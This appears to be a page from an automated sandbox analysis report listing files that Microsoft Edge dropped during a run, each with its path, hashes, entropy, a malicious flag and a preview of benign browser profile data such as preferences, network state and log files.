C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps Icons

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 12, cookie 0x3, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	3.6477518313670156
Encrypted:	false
SSDEEP:	384:aj9P0AP/Kbtfjl5gam6IU773pLIcVhfQkQerIRKToaAu:ad3P/yl8k7dVJe2IRKcC
MD5:	00BB8B6FE339BFE1014AAA1E752B43F4
SHA1:	857C39D464DAD875E8D28537D48C70021B17ED7C
SHA-256:	B85527BAD3A7A42B5C9E83BB3726C02A92DD83CB7E46303198B9D874C17B3A1B
SHA-512:	B54BD0066918C22961AF603B2EE1660D758F20561F9E6919BA8C5AAAF7B2215456F1554529FE19060BCE47F00DB405A8DD2EDE787B25051E693620DA352E0CF9
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...:.8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	408
Entropy (8bit):	5.207166179346556
Encrypted:	false
SSDEEP:	12:rw4v4Yeb8rcHEZrELFUt8wtJ/+wtD5LYeb8rcHEZrEZSJ:rH4Yeb8nZrExg8w73LYeb8nZrEZe
MD5:	1CC7C7B5C3B2C512DCCCFF5E21C233B7
SHA1:	75E5D705AEF9204D7A4689263BAA6A8DAD4FDCF8
SHA-256:	A615E5D3A0F45FE3BC8E077EA53DEEE384AD691AB8EF40E2D4A0F14E28EEFF3B
SHA-512:	EA0919CB4D61AE658C58892619F7FFFB0CCDBEBEF9D4FF017CD83C1A4D5D01151FEAC1AB19DB0A6D3E3DD75AA25328FE7E674294092EA97D91D0147D3C65D1BA
Malicious:	false
Preview:	2024/11/05-04:13:44.431 1df4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/05-04:13:44.432 1df4 Recovering log #3.2024/11/05-04:13:44.432 1df4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	408
Entropy (8bit):	5.207166179346556
Encrypted:	false
SSDEEP:	12:rw4v4Yeb8rcHEZrELFUt8wtJ/+wtD5LYeb8rcHEZrEZSJ:rH4Yeb8nZrExg8w73LYeb8nZrEZe
MD5:	1CC7C7B5C3B2C512DCCCFF5E21C233B7
SHA1:	75E5D705AEF9204D7A4689263BAA6A8DAD4FDCF8
SHA-256:	A615E5D3A0F45FE3BC8E077EA53DEEE384AD691AB8EF40E2D4A0F14E28EEFF3B
SHA-512:	EA0919CB4D61AE658C58892619F7FFFB0CCDBEBEF9D4FF017CD83C1A4D5D01151FEAC1AB19DB0A6D3E3DD75AA25328FE7E674294092EA97D91D0147D3C65D1BA
Malicious:	false
Preview:	2024/11/05-04:13:44.431 1df4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/05-04:13:44.432 1df4 Recovering log #3.2024/11/05-04:13:44.432 1df4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1598
Entropy (8bit):	5.622682722954328
Encrypted:	false
SSDEEP:	48:fZXWJ00fVMqXZVfV03Sx41HHHxda2LoEQyG:f5mMo/XWRxLc
MD5:	3A7508B6F6542724DFBD985A1146CFA8
SHA1:	1F6733526B4A387514DE8DFAC3CDE6F42F421C18
SHA-256:	777AB6F2002CE01A5F9D559FD1481A01AF3EAFD1CEE11A85A618D86D6B19D84E
SHA-512:	C790843DF8E00139E39409FA855C96399ECA0F760AE6263752B2534B7706BDF23BFA7047BC66DE51BF1A2C6BD0961BD3AA79DAF37D0E260EEBAEA99EABF568AD
Malicious:	false
Preview:	...>7................VERSION.1..META:https://ntp.msn.com.............._https://ntp.msn.com..FallbackNavigationResult?.{"r":"edgenext-base-v1-empty. NetworkCall","ic":true,"te":531}.!_https://ntp.msn.com..LastKnownPV..1730798031744.-_https://ntp.msn.com..LastVisuallyReadyMarker..1730798033185.._https://ntp.msn.com..MUID!.01D0F972D2F36EF72A6BEC5CD3526FC5./_https://ntp.msn.com..NOTIFICATION_CACHE_LS_KEY...{"notificationLastRequestTimestamp":{"count":1730798035118,"notifications":0},"notificationBellCacheData":{"count":4,"notifications":[]}}.._https://ntp.msn.com..bkgdV...{"cachedVideoId":-1,"lastUpdatedTime":1730798031854,"schedule":[-1,-1,-1,24,9,-1,40],"scheduleFixed":[-1,-1,-1,24,9,-1,40],"simpleSchedule":[17,37,32,39,44,22,23]}.%_https://ntp.msn.com..clean_meta_flag..1.5_https://ntp.msn.com..enableUndersideAutoOpenFromEdge..false.7_https://ntp.msn.com..nurturing_interaction_trace_ls_id..1730798031607.&_https://ntp.msn.com..oneSvcUniTunMode..header."_https://ntp.msn.com..pageVersions.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.1517677352837214
Encrypted:	false
SSDEEP:	6:H6/9+q2P923oH+Tcwt8a2jMGIFUt8Y6v2WZmw+Y6+9VkwO923oH+Tcwt8a2jMmLJ:S9+v4Yeb8EFUt8lJ/+89V5LYeb8bJ
MD5:	EB2B347F67CD7AABDB8265521787A5EB
SHA1:	8B2605B1D86B9F845F105391CBB4D074EF1FF0C3
SHA-256:	C6A2B67B45F0E562D1A6784C3E13B8FE3E6CC0B7F11E43979212F89EE4F949C5
SHA-512:	2E46BF0EC29F19EFEAC97A12D12BB614CD239C2516CC548FC13B1FE12D1CF542ED329A163DA389D265A3A6175B8FF8E3B5469D6DA2414880EC3067BCA29B6074
Malicious:	false
Preview:	2024/11/05-04:13:39.809 1d0c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/05-04:13:39.816 1d0c Recovering log #3.2024/11/05-04:13:39.820 1d0c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.1517677352837214
Encrypted:	false
SSDEEP:	6:H6/9+q2P923oH+Tcwt8a2jMGIFUt8Y6v2WZmw+Y6+9VkwO923oH+Tcwt8a2jMmLJ:S9+v4Yeb8EFUt8lJ/+89V5LYeb8bJ
MD5:	EB2B347F67CD7AABDB8265521787A5EB
SHA1:	8B2605B1D86B9F845F105391CBB4D074EF1FF0C3
SHA-256:	C6A2B67B45F0E562D1A6784C3E13B8FE3E6CC0B7F11E43979212F89EE4F949C5
SHA-512:	2E46BF0EC29F19EFEAC97A12D12BB614CD239C2516CC548FC13B1FE12D1CF542ED329A163DA389D265A3A6175B8FF8E3B5469D6DA2414880EC3067BCA29B6074
Malicious:	false
Preview:	2024/11/05-04:13:39.809 1d0c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/05-04:13:39.816 1d0c Recovering log #3.2024/11/05-04:13:39.820 1d0c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\5dfe1df7-8c35-4b46-a21e-440ef442f275.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\891e3abe-caab-48ee-b8c7-4f9f98deb84a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 8, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	3.0035650093709214
Encrypted:	false
SSDEEP:	192:tTf6Hv2NQjaVjtD5xN3aW24ABmUYO0B/zbl0b:Vf6HM8aRp5xhkBma0B7bl0b
MD5:	909FFF38FD7C1AA0E967AEB8ED61242B
SHA1:	7E3FA451345A8057B3B71FD0C395576EA00CCFEB
SHA-256:	28F4767BF4EAF19C66F4DD2B650E6D657DBE2EE02733591D1E95248453E7AA4B
SHA-512:	775CE1DC018695345E53DB9044A35061FA321CC56E17FC99BA55B93C4C24967115A4E3BEED6AD201D194B11752D12391D8EA69A32111DD9600938E43BC0DB093
Malicious:	true
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1907
Entropy (8bit):	5.313534216074708
Encrypted:	false
SSDEEP:	48:YcgCzsFxtsF6fcKs5leeBkBRsjCgHPsxCgHGbxo+:FSxS6ukeBkB0TkTGVo+
MD5:	CE0533E8DC672AA342853BA8A1960430
SHA1:	5605A64D9D74A3C3C88C0CF9C373EFA8FE4C7CFB
SHA-256:	2562A244A3B2711D1EA6E851AF2CB2913110153A25FFB0EABC93CABBA06B1283
SHA-512:	94E157CCF0A2EC7505047E28BC598C01EC255A9F4D11BCF670B2B213F208E3137E37D7F5EFAB7BB7576B5660367BB70DC9F217798A78CBA57C389E3132966CE1
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13377863622539024","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13377863625584543","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13375365228081902","port":443,"protocol_str":"quic"}],"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"anonymizatio

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Reporting and NEL

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	1.476542334447226
Encrypted:	false
SSDEEP:	48:TaIopKWurJNVr1GJmA8pv82pfurJNVrdHXuccaurJN2VrJ1n4n1GmzNGU1cSBfWw:uIEumQv8m1ccnvS6apDow0WjfK6cOJ0
MD5:	36821FA698C9C9A24B0A592EEE221834
SHA1:	5E45E8F87ADD2D60C2F2748B76C2FF110045943B
SHA-256:	A0FE98798C1BC2FE1CB48E716D6C1D916488097E9CBC6B6A4C2FA0180A5CCA58
SHA-512:	5A50A7B816FC1B2E0A39F42FD1A6673A03DF779E64F1ACEDB8A656CDEF7C6A44A30D20BF963AAC7DF653462C6C449580A4882A49FB69BBB8B15C08C4BE0ED320
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3d811.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3e5ae.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\b9b17095-9f7c-4ced-9d68-827c79efca5e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\d3bd7e33-53c4-4824-b736-9ef16488e6dc.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	1907
Entropy (8bit):	5.313534216074708
Encrypted:	false
SSDEEP:	48:YcgCzsFxtsF6fcKs5leeBkBRsjCgHPsxCgHGbxo+:FSxS6ukeBkB0TkTGVo+
MD5:	CE0533E8DC672AA342853BA8A1960430
SHA1:	5605A64D9D74A3C3C88C0CF9C373EFA8FE4C7CFB
SHA-256:	2562A244A3B2711D1EA6E851AF2CB2913110153A25FFB0EABC93CABBA06B1283
SHA-512:	94E157CCF0A2EC7505047E28BC598C01EC255A9F4D11BCF670B2B213F208E3137E37D7F5EFAB7BB7576B5660367BB70DC9F217798A78CBA57C389E3132966CE1
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13377863622539024","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13377863625584543","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13375365228081902","port":443,"protocol_str":"quic"}],"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"anonymizatio

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\f69db1a2-338d-40bc-80ec-371f8c66b25d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8350301952073809
Encrypted:	false
SSDEEP:	24:TLSOUOq0afDdWec9sJlAMoqsgC7zn2z8ZI7J5fc:T+OUzDbg3sAM/sgCnn2ztc
MD5:	0DAD8D7F079797377CD56DAE47E1A619
SHA1:	A353C01C5B9BA9E0315ABA74D3337B7D6EE97CB2
SHA-256:	7BDA584E0C1BE9E104065370FD279A7E771D7EB4F7E4CC7C80F146931F150E33
SHA-512:	5A57C0D303672564DDEAA08B5DAAEE1BA24B67C46100720CE69F0908427ACE55F330D96A772D0E1F96B595FBBD70E6145AA464FC4F312EFE095F9AC909E304E8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9714
Entropy (8bit):	5.111003960037811
Encrypted:	false
SSDEEP:	192:stPkdpKsmgsZihUk4Fd8QbV+F4VQA66WZaFIMYBPbYJ:stPQKsmgfhybGuQx6WZaTY+
MD5:	D9C6E9D829FF5FC6C230DA9453C096B6
SHA1:	EA379B5F5B7426752128F27E4F3B5455E688E5B5
SHA-256:	2FBC290B0DFDC0911BC4508A5514BB3714EFAC5C94C003C2E45358947F436B48
SHA-512:	F681B810F48EB453713E46158EBB307CB47BA788EB249C34CCC0E651FF6DFD03C234CF23C683501D1BADD481F636614A2206C006DD5D3D2C18776C21BF76FB6C
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375271620101072","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF413b3.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9714
Entropy (8bit):	5.111003960037811
Encrypted:	false
SSDEEP:	192:stPkdpKsmgsZihUk4Fd8QbV+F4VQA66WZaFIMYBPbYJ:stPQKsmgfhybGuQx6WZaTY+
MD5:	D9C6E9D829FF5FC6C230DA9453C096B6
SHA1:	EA379B5F5B7426752128F27E4F3B5455E688E5B5
SHA-256:	2FBC290B0DFDC0911BC4508A5514BB3714EFAC5C94C003C2E45358947F436B48
SHA-512:	F681B810F48EB453713E46158EBB307CB47BA788EB249C34CCC0E651FF6DFD03C234CF23C683501D1BADD481F636614A2206C006DD5D3D2C18776C21BF76FB6C
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375271620101072","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF45ffe.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9714
Entropy (8bit):	5.111003960037811
Encrypted:	false
SSDEEP:	192:stPkdpKsmgsZihUk4Fd8QbV+F4VQA66WZaFIMYBPbYJ:stPQKsmgfhybGuQx6WZaTY+
MD5:	D9C6E9D829FF5FC6C230DA9453C096B6
SHA1:	EA379B5F5B7426752128F27E4F3B5455E688E5B5
SHA-256:	2FBC290B0DFDC0911BC4508A5514BB3714EFAC5C94C003C2E45358947F436B48
SHA-512:	F681B810F48EB453713E46158EBB307CB47BA788EB249C34CCC0E651FF6DFD03C234CF23C683501D1BADD481F636614A2206C006DD5D3D2C18776C21BF76FB6C
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375271620101072","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF4d52e.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9714
Entropy (8bit):	5.111003960037811
Encrypted:	false
SSDEEP:	192:stPkdpKsmgsZihUk4Fd8QbV+F4VQA66WZaFIMYBPbYJ:stPQKsmgfhybGuQx6WZaTY+
MD5:	D9C6E9D829FF5FC6C230DA9453C096B6
SHA1:	EA379B5F5B7426752128F27E4F3B5455E688E5B5
SHA-256:	2FBC290B0DFDC0911BC4508A5514BB3714EFAC5C94C003C2E45358947F436B48
